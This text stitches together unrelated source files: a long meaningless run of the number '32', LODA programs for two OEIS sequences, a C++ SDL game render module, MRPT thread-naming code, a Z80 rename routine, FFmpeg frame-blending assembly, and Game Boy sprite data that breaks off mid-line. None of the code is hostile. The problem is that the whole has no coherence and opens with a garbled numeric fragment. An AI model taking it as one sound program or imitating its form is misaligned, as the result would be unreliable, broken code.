32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
; A193068: Generating primitive Pythagorean triangles by using (n, n+1) gives perimeters for each n. This sequence list the sum of these perimeters for each n triangles. ; 12,42,98,188,320,502,742,1048,1428,1890,2442,3092,3848,4718,5710,6832,8092,9498,11058,12780,14672,16742,18998,21448,24100,26962,30042,33348,36888,40670,44702,48992,53548,58378,63490,68892,74592,80598,86918,93560,100532,107842,115498,123508,131880,140622,149742,159248,169148,179450,190162,201292,212848,224838,237270,250152,263492,277298,291578,306340,321592,337342,353598,370368,387660,405482,423842,442748,462208,482230,502822,523992,545748,568098,591050,614612,638792,663598,689038,715120,741852,769242,797298,826028,855440,885542,916342,947848,980068,1013010,1046682,1081092,1116248,1152158,1188830,1226272,1264492,1303498,1343298,1383900,1425312,1467542,1510598,1554488,1599220,1644802,1691242,1738548,1786728,1835790,1885742,1936592,1988348,2041018,2094610,2149132,2204592,2260998,2318358,2376680,2435972,2496242,2557498,2619748,2683000,2747262,2812542,2878848,2946188,3014570,3084002,3154492,3226048,3298678,3372390,3447192,3523092,3600098,3678218,3757460,3837832,3919342,4001998,4085808,4170780,4256922,4344242,4432748,4522448,4613350,4705462,4798792,4893348,4989138,5086170,5184452,5283992,5384798,5486878,5590240,5694892,5800842,5908098,6016668,6126560,6237782,6350342,6464248,6579508,6696130,6814122,6933492,7054248,7176398,7299950,7424912,7551292,7679098,7808338,7939020,8071152,8204742,8339798,8476328,8614340,8753842,8894842,9037348,9181368,9326910,9473982,9622592,9772748,9924458,10077730,10232572,10388992,10546998,10706598,10867800,11030612,11195042,11361098,11528788,11698120,11869102,12041742,12216048,12392028,12569690,12749042,12930092,13112848,13297318,13483510,13671432,13861092,14052498,14245658,14440580,14637272,14835742,15035998,15238048,15441900,15647562,15855042,16064348,16275488,16488470,16703302,16919992,17138548,17358978,17581290,17805492,18031592,18259598,18489518,18721360,18955132,19190842,19428498,19668108,19909680,20153222,20398742,20646248,20895748,21147250 add $0,1 lpb $0 add $2,$0 sub $0,1 add $2,5 mov $3,$2 add $3,$2 add $1,$3 add $2,$0 lpe
#include "p2Defs.h" #include "p2Log.h" #include "DevRookiesApp.h" #include "Window.h" #include "Render.h" #include "Input.h" #include "Player.h" #include "Scene.h" #include "SceneManager.h" #include "EntityManager.h" #include "Brofiler/Brofiler.h" Render::Render() : Module() { name.create("render"); background.r = 0; background.g = 0; background.b = 0; background.a = 0; } // Destructor Render::~Render() {} // Called before render is available bool Render::Awake(pugi::xml_node& config) { LOG("Create SDL rendering context"); bool ret = true; // load flags Uint32 flags = SDL_RENDERER_ACCELERATED; if(config.child("vsync").attribute("value").as_bool(true) == true) { flags |= SDL_RENDERER_PRESENTVSYNC; LOG("Using vsync"); } renderer = SDL_CreateRenderer(App->win->window, -1, flags); if(renderer == NULL) { LOG("Could not create the renderer! SDL_Error: %s\n", SDL_GetError()); ret = false; } else { camera.w = App->win->screen_surface->w; camera.h = App->win->screen_surface->h; camera.x = config.child("camera").attribute("x").as_int(); camera.y = config.child("camera").attribute("y").as_int(); camera_speed = config.child("camera").attribute("speed").as_int(); camera_max = config.child("camera").attribute("max").as_int(); start_time = config.child("start_time").attribute("value").as_int(); restart_start_time = start_time; } return ret; } // Called before the first frame bool Render::Start() { LOG("render start"); // back background SDL_RenderGetViewport(renderer, &viewport); return true; } // Called each loop iteration bool Render::PreUpdate() { BROFILER_CATEGORY("PreUpdateRender", Profiler::Color::Orange); SDL_RenderClear(renderer); if (App->input->GetKey(SDL_SCANCODE_F9) == KEY_DOWN) debug_path = !debug_path; return true; } bool Render::Update(float dt) { BROFILER_CATEGORY("UpdateRender", Profiler::Color::Aqua); if (-camera_max <= camera.x && !App->entitymanager->player->isDead() && App->scene->scene_actual !=0 && App->scenemanager->current_step == App->scenemanager->none && start_time == 0) { camera.x -= floor(camera_speed * dt); } if (start_time != 0 && App->scene->scene_actual != 0 && App->scenemanager->current_step == App->scenemanager->none) start_time--; return true; } bool Render::PostUpdate() { BROFILER_CATEGORY("PostUpdate", Profiler::Color::Purple); SDL_SetRenderDrawColor(renderer, background.r, background.g, background.g, background.a); SDL_RenderPresent(renderer); return true; } // Called before quitting bool Render::CleanUp() { LOG("Destroying SDL render"); SDL_DestroyRenderer(renderer); return true; } // Load Game State bool Render::Load(pugi::xml_node& data) { camera.x = data.child("camera").attribute("x").as_int(); camera.y = data.child("camera").attribute("y").as_int(); return true; } // Save Game State bool Render::Save(pugi::xml_node& data) const { pugi::xml_node cam = data.append_child("camera"); cam.append_attribute("x") = camera.x; cam.append_attribute("y") = camera.y; return true; } void Render::SetBackgroundColor(SDL_Color color) { background = color; } void Render::SetViewPort(const SDL_Rect& rect) { SDL_RenderSetViewport(renderer, &rect); } void Render::ResetViewPort() { SDL_RenderSetViewport(renderer, &viewport); } iPoint Render::ScreenToWorld(int x, int y) const { iPoint ret; int scale = App->win->GetScale(); ret.x = (x - camera.x / scale); ret.y = (y - camera.y / scale); return ret; } // Blit to screen bool Render::Blit(SDL_Texture* texture, int x, int y, const SDL_Rect* section, float speed, bool flipX, double angle, int pivot_x, int pivot_y) const { BROFILER_CATEGORY("Blit", Profiler::Color::Black); bool ret = true; uint scale = App->win->GetScale(); SDL_Rect rect; rect.x = (int)(camera.x * speed) + x * scale; rect.y = (int)(camera.y * speed) + y * scale; if(section != NULL) { rect.w = section->w; rect.h = section->h; } else { SDL_QueryTexture(texture, NULL, NULL, &rect.w, &rect.h); } rect.w *= scale; rect.h *= scale; //Don't blit if not on screen uint width, height = 0; App->win->GetWindowSize(width, height); if (rect.x + 100 + rect.w < 0 || rect.y + rect.h < 0 || rect.x > (int)width || rect.y > (int)height) { return false; } SDL_Point* p = NULL; SDL_Point pivot; if(pivot_x != INT_MAX && pivot_y != INT_MAX) { pivot.x = pivot_x; pivot.y = pivot_y; p = &pivot; } SDL_RendererFlip flip = SDL_FLIP_NONE; if (flipX)flip = SDL_FLIP_HORIZONTAL; if(SDL_RenderCopyEx(renderer, texture, section, &rect, angle, p, flip) != 0) { LOG("Cannot blit to screen. SDL_RenderCopy error: %s", SDL_GetError()); ret = false; } return ret; } bool Render::DrawQuad(const SDL_Rect& rect, Uint8 r, Uint8 g, Uint8 b, Uint8 a, bool filled, bool use_camera) const { bool ret = true; uint scale = App->win->GetScale(); SDL_SetRenderDrawBlendMode(renderer, SDL_BLENDMODE_BLEND); SDL_SetRenderDrawColor(renderer, r, g, b, a); SDL_Rect rec(rect); if(use_camera) { rec.x = (int)(camera.x + rect.x * scale); rec.y = (int)(camera.y + rect.y * scale); rec.w *= scale; rec.h *= scale; } int result = (filled) ? SDL_RenderFillRect(renderer, &rec) : SDL_RenderDrawRect(renderer, &rec); if(result != 0) { LOG("Cannot draw quad to screen. SDL_RenderFillRect error: %s", SDL_GetError()); ret = false; } return ret; } bool Render::DrawLine(int x1, int y1, int x2, int y2, Uint8 r, Uint8 g, Uint8 b, Uint8 a, bool use_camera) const { bool ret = true; uint scale = App->win->GetScale(); SDL_SetRenderDrawBlendMode(renderer, SDL_BLENDMODE_BLEND); SDL_SetRenderDrawColor(renderer, r, g, b, a); int result = -1; if(use_camera) result = SDL_RenderDrawLine(renderer, camera.x + x1 * scale, camera.y + y1 * scale, camera.x + x2 * scale, camera.y + y2 * scale); else result = SDL_RenderDrawLine(renderer, x1 * scale, y1 * scale, x2 * scale, y2 * scale); if(result != 0) { LOG("Cannot draw quad to screen. SDL_RenderFillRect error: %s", SDL_GetError()); ret = false; } return ret; } bool Render::DrawCircle(int x, int y, int radius, Uint8 r, Uint8 g, Uint8 b, Uint8 a, bool use_camera) const { bool ret = true; uint scale = App->win->GetScale(); SDL_SetRenderDrawBlendMode(renderer, SDL_BLENDMODE_BLEND); SDL_SetRenderDrawColor(renderer, r, g, b, a); int result = -1; SDL_Point points[360]; float factor = (float)M_PI / 180.0f; for(uint i = 0; i < 360; ++i) { points[i].x = (int)(x + radius * cos(i * factor)); points[i].y = (int)(y + radius * sin(i * factor)); } result = SDL_RenderDrawPoints(renderer, points, 360); if(result != 0) { LOG("Cannot draw quad to screen. SDL_RenderFillRect error: %s", SDL_GetError()); ret = false; } return ret; } void Render::SetCamera(uint x, uint y) { camera.x = x; camera.y = y; }
/* +------------------------------------------------------------------------+ | Mobile Robot Programming Toolkit (MRPT) | | https://www.mrpt.org/ | | | | Copyright (c) 2005-2020, Individual contributors, see AUTHORS file | | See: https://www.mrpt.org/Authors - All rights reserved. | | Released under BSD License. See: https://www.mrpt.org/License | +------------------------------------------------------------------------+ */ #include "system-precomp.h" // Precompiled headers // #include <mrpt/config.h> #include <mrpt/core/exceptions.h> #include <mrpt/system/thread_name.h> #if defined(MRPT_OS_WINDOWS) #include <windows.h> #include <cwchar> #include <vector> #elif defined(MRPT_OS_LINUX) #include <sys/prctl.h> static void SetThreadName(std::thread& thread, const char* threadName) { auto handle = thread.native_handle(); pthread_setname_np(handle, threadName); } static std::string GetThreadName(std::thread& thread) { auto handle = thread.native_handle(); char buf[1000]; buf[0] = '\0'; pthread_getname_np(handle, buf, sizeof(buf)); return std::string(buf); } static void SetThreadName(const char* threadName) { prctl(PR_SET_NAME, threadName, 0L, 0L, 0L); } static std::string GetThreadName() { char buf[100] = {0}; prctl(PR_GET_NAME, buf, 0L, 0L, 0L); return std::string(buf); } #endif void mrpt::system::thread_name(const std::string& name) { #if defined(MRPT_OS_WINDOWS) wchar_t wName[50]; std::mbstowcs(wName, name.c_str(), sizeof(wName) / sizeof(wName[0])); SetThreadDescription(GetCurrentThread(), wName); #elif defined(MRPT_OS_LINUX) SetThreadName(name.c_str()); #endif } void mrpt::system::thread_name(const std::string& name, std::thread& theThread) { #if defined(MRPT_OS_WINDOWS) wchar_t wName[50]; std::mbstowcs(wName, name.c_str(), sizeof(wName) / sizeof(wName[0])); SetThreadDescription(theThread.native_handle(), wName); #elif defined(MRPT_OS_LINUX) SetThreadName(theThread, name.c_str()); #endif } #if defined(MRPT_OS_WINDOWS) static std::string w2cstr(wchar_t** wstrnc) { const wchar_t** wstr = const_cast<const wchar_t**>(wstrnc); std::mbstate_t state = std::mbstate_t(); std::size_t len = 1 + std::wcsrtombs(nullptr, wstr, 0, &state); std::vector<char> mbstr(len); std::wcsrtombs(&mbstr[0], wstr, mbstr.size(), &state); return std::string(mbstr.data()); } #endif std::string mrpt::system::thread_name() { #if defined(MRPT_OS_WINDOWS) std::string ret = "NoName"; PWSTR str; HRESULT hr = GetThreadDescription(GetCurrentThread(), &str); if (SUCCEEDED(hr)) { ret = w2cstr(reinterpret_cast<wchar_t**>(&str)); LocalFree(str); } return ret; #elif defined(MRPT_OS_LINUX) return GetThreadName(); #else return std::string(""); #endif } std::string mrpt::system::thread_name(std::thread& theThread) { #if defined(MRPT_OS_WINDOWS) std::string ret = "NoName"; PWSTR str; HRESULT hr = GetThreadDescription(theThread.native_handle(), &str); if (SUCCEEDED(hr)) { ret = w2cstr(reinterpret_cast<wchar_t**>(&str)); LocalFree(str); } return ret; #elif defined(MRPT_OS_LINUX) return GetThreadName(theThread); #else return std::string(""); #endif }
SECTION code_clib PUBLIC rename PUBLIC _rename .rename ._rename pop bc pop hl pop de push de push hl push bc call 0xB8B1 ld hl, 0 ret c dec hl ret
;***************************************************************************** ;* x86-optimized functions for framerate filter ;* ;* Copyright (C) 2018 Marton Balint ;* ;* Based on vf_blend.asm, Copyright (C) 2015 Paul B Mahol ;* ;* This file is part of FFmpeg. ;* ;* FFmpeg is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* FFmpeg is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with FFmpeg; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %include "libavutil/x86/x86util.asm" SECTION .text %macro XSPLAT 3 %if cpuflag(avx2) vpbroadcast%3 %1, %2 %else movd %1, %2 %ifidn %3, d SPLATD %1 %else SPLATW %1, %1 %endif %endif %endmacro %macro BLEND_INIT 0-1 %if ARCH_X86_64 cglobal blend_frames%1, 6, 9, 5, src1, src1_linesize, src2, src2_linesize, dst, dst_linesize, width, end, x mov widthd, dword widthm %else cglobal blend_frames%1, 5, 7, 5, src1, src1_linesize, src2, src2_linesize, dst, end, x %define dst_linesizeq r5mp %define widthq r6mp %endif mov endd, dword r7m add src1q, widthq add src2q, widthq add dstq, widthq neg widthq %endmacro %macro BLEND_LOOP 4 .nextrow: mov xq, widthq .loop: movu m0, [src1q + xq] movu m1, [src2q + xq] SBUTTERFLY %1%2, 0, 1, 4 ; aAbBcCdD ; eEfFgGhH pmadd%3 m0, m2 pmadd%3 m1, m2 padd%2 m0, m3 padd%2 m1, m3 psrl%2 m0, %4 ; 0A0B0C0D psrl%2 m1, %4 ; 0E0F0G0H packus%2%1 m0, m1 ; ABCDEFGH movu [dstq + xq], m0 add xq, mmsize jl .loop add src1q, src1_linesizeq add src2q, src2_linesizeq add dstq, dst_linesizeq sub endd, 1 jg .nextrow REP_RET %endmacro %macro BLEND_FRAMES 0 BLEND_INIT XSPLAT m2, r8m, w ; factor1 XSPLAT m3, r9m, w ; factor2 psllw m3, 8 por m2, m3 ; interleaved factors XSPLAT m3, r10m, w ; half BLEND_LOOP b, w, ubsw, 7 %endmacro %macro BLEND_FRAMES16 0 BLEND_INIT 16 XSPLAT m2, r8m, d ; factor1 XSPLAT m3, r9m, d ; factor2 pslld m3, 16 por m2, m3 ; interleaved factors XSPLAT m3, r10m, d ; half BLEND_LOOP w, d, wd, 15 %endmacro INIT_XMM ssse3 BLEND_FRAMES INIT_XMM sse4 BLEND_FRAMES16 %if HAVE_AVX2_EXTERNAL INIT_YMM avx2 BLEND_FRAMES BLEND_FRAMES16 %endif
; A102352: Numbers n such that n^3 can be partitioned into n primes such that n-1 are consecutive primes and the remaining prime is larger than the sum of the n-1 consecutive primes. ; 2,3,4,5,6,7,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74 mov $1,5 bin $1,$0 cmp $1,0 add $1,$0 add $1,2 mov $0,$1
;;; ############################################################################ ;;; NOTE: We're copying date from here with GDMA, so the eight byte alignment is ;;; important. SECTION "SPRITESHEET1_PART2", ROMX, ALIGN[8], BANK[SPRITESHEET1_ROM_BANK + 1] r3_SpriteSheetData:: r3_SpritePlayerKnifeAttackDown:: DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$07 DB $00,$0F,$00,$0F,$00,$1F,$03,$1F DB $07,$1F,$07,$1B,$07,$1F,$07,$0F DB $01,$1F,$01,$3F,$00,$7F,$00,$7F DB $00,$00,$00,$00,$00,$00,$00,$80 DB $00,$C0,$00,$C0,$00,$E0,$00,$E0 DB $80,$F0,$80,$70,$80,$F0,$00,$E0 DB $00,$F0,$00,$F0,$00,$F8,$00,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$7F,$00,$7F,$00,$FF,$01,$FF DB $01,$FF,$01,$FF,$03,$FF,$03,$FF DB $03,$FF,$07,$7F,$06,$1E,$0E,$0E DB $06,$06,$06,$06,$06,$06,$04,$04 DB $00,$FC,$00,$FC,$00,$FE,$00,$FE DB $00,$FE,$00,$FE,$80,$FE,$80,$FE DB $80,$FE,$C0,$F8,$C0,$E0,$E0,$E0 DB $60,$60,$20,$20,$20,$20,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$03,$00,$07,$00,$07 DB $00,$0F,$01,$0F,$03,$0F,$03,$0D DB $03,$0F,$03,$07,$00,$0F,$00,$3F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$C0,$00,$E0,$00,$E0 DB $00,$F0,$80,$F0,$C0,$F8,$C0,$B8 DB $C0,$F8,$80,$F0,$80,$F8,$80,$F8 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$01,$00,$01 DB $00,$03,$00,$03,$00,$03,$00,$03 DB $00,$03,$00,$01,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$7F,$18,$FF,$3F,$FF,$7F,$FF DB $3F,$FF,$3F,$FF,$0F,$FF,$0F,$FF DB $0F,$FF,$0F,$FF,$0F,$7F,$07,$3F DB $07,$07,$06,$06,$04,$04,$04,$04 DB $00,$FC,$00,$FE,$00,$FE,$C0,$FE DB $E0,$FF,$E0,$FF,$E0,$FF,$E0,$FF DB $F0,$FF,$F8,$FF,$F8,$FF,$78,$7C DB $70,$70,$30,$30,$30,$30,$20,$20 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$80 DB $00,$80,$00,$80,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$1F,$5C,$1F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$03,$00,$07,$00,$07 DB $00,$0F,$01,$0F,$03,$0F,$03,$0D DB $03,$0F,$03,$07,$00,$FF,$00,$FF DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$C0,$00,$E0,$00,$E0 DB $00,$F0,$80,$F0,$C0,$F8,$C0,$B8 DB $C0,$F8,$80,$F0,$80,$F8,$80,$FE DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $7F,$7F,$E3,$0F,$60,$0F,$60,$07 DB $60,$07,$20,$03,$00,$01,$00,$01 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $E0,$FF,$F8,$FF,$7F,$FF,$1F,$FF DB $0F,$FF,$0F,$FF,$0F,$FF,$0F,$FF DB $07,$7F,$07,$3F,$07,$1F,$07,$1F DB $0F,$0F,$06,$06,$04,$04,$04,$04 DB $00,$FF,$00,$FF,$00,$FF,$F0,$FF DB $F0,$FF,$F8,$FF,$F8,$FF,$FC,$FF DB $FC,$FF,$FC,$FF,$FC,$FF,$7C,$7C DB $78,$78,$30,$30,$30,$30,$20,$20 DB $00,$00,$00,$C0,$00,$E0,$00,$F0 DB $00,$F8,$00,$F8,$00,$F0,$00,$E0 DB $00,$80,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$40,$00,$7C,$7D DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$03,$00,$07,$00,$07 DB $00,$0F,$01,$0F,$03,$0F,$03,$0D DB $03,$0F,$03,$07,$00,$1F,$00,$FF DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$C0,$00,$E0,$00,$E0 DB $00,$F0,$80,$F0,$C0,$F8,$C0,$B8 DB $C0,$F8,$80,$F0,$80,$F8,$80,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $FF,$1F,$63,$03,$60,$03,$60,$03 DB $20,$07,$00,$07,$00,$0F,$00,$0F DB $00,$01,$00,$01,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $E0,$FF,$F8,$FF,$7F,$FF,$1F,$FF DB $0F,$FF,$0F,$FF,$0F,$FF,$0F,$FF DB $0F,$FF,$0F,$FF,$0F,$7F,$07,$1F DB $0F,$0F,$06,$06,$04,$04,$04,$04 DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $80,$FF,$80,$FF,$80,$FF,$80,$FF DB $C0,$FF,$C0,$FF,$C0,$FF,$60,$7C DB $70,$70,$30,$30,$30,$30,$20,$20 DB $00,$00,$00,$00,$00,$00,$00,$80 DB $00,$80,$00,$C0,$00,$C0,$00,$C0 DB $00,$C0,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$20,$00,$60,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$03,$00,$07,$00,$07 DB $00,$0F,$01,$0F,$03,$0F,$03,$0D DB $03,$0F,$03,$07,$00,$1F,$00,$1F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$C0,$00,$E0,$00,$E0 DB $00,$F0,$80,$F0,$C0,$F8,$C0,$B8 DB $C0,$F8,$80,$F0,$80,$F8,$80,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $E0,$00,$7C,$7C,$1F,$1F,$03,$03 DB $00,$01,$00,$03,$00,$03,$00,$07 DB $00,$03,$00,$01,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$3F,$78,$7F,$FF,$FF,$FF,$FF DB $0F,$FF,$0F,$FF,$0F,$FF,$0F,$FF DB $0F,$FF,$0F,$FF,$0F,$FF,$07,$7F DB $0F,$0F,$06,$06,$04,$04,$04,$04 DB $00,$FC,$00,$FE,$00,$FE,$00,$FE DB $80,$FF,$80,$FF,$80,$FF,$80,$FF DB $C0,$FF,$C0,$FF,$C0,$FF,$60,$7C DB $70,$70,$30,$30,$30,$30,$20,$20 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$01,$00,$03,$00,$03 DB $00,$07,$00,$07,$00,$07,$00,$07 DB $00,$07,$00,$03,$00,$1F,$00,$3F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$E0,$00,$F0,$00,$F0 DB $00,$F8,$40,$F8,$E0,$FC,$F0,$7C DB $F0,$FC,$E0,$F8,$C0,$F8,$80,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$30,$00,$39,$01 DB $1B,$03,$1C,$0D,$04,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$3F,$00,$7F,$0F,$7F,$3F,$7F DB $3F,$FF,$7F,$FF,$EF,$FF,$CF,$FF DB $0F,$FF,$0F,$FF,$0F,$FF,$07,$7F DB $0F,$0F,$06,$06,$04,$04,$04,$04 DB $00,$FC,$00,$FE,$00,$FE,$00,$FE DB $80,$FE,$80,$FE,$80,$FF,$80,$FF DB $C0,$FF,$C0,$FF,$C0,$FF,$60,$7C DB $70,$70,$30,$30,$30,$30,$20,$20 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$01,$00,$01,$00,$03,$00,$03 DB $00,$03,$00,$03,$00,$03,$00,$01 DB $00,$07,$00,$1F,$00,$1F,$00,$3F DB $00,$00,$00,$00,$00,$00,$00,$F0 DB $00,$F8,$00,$F8,$00,$FC,$20,$FC DB 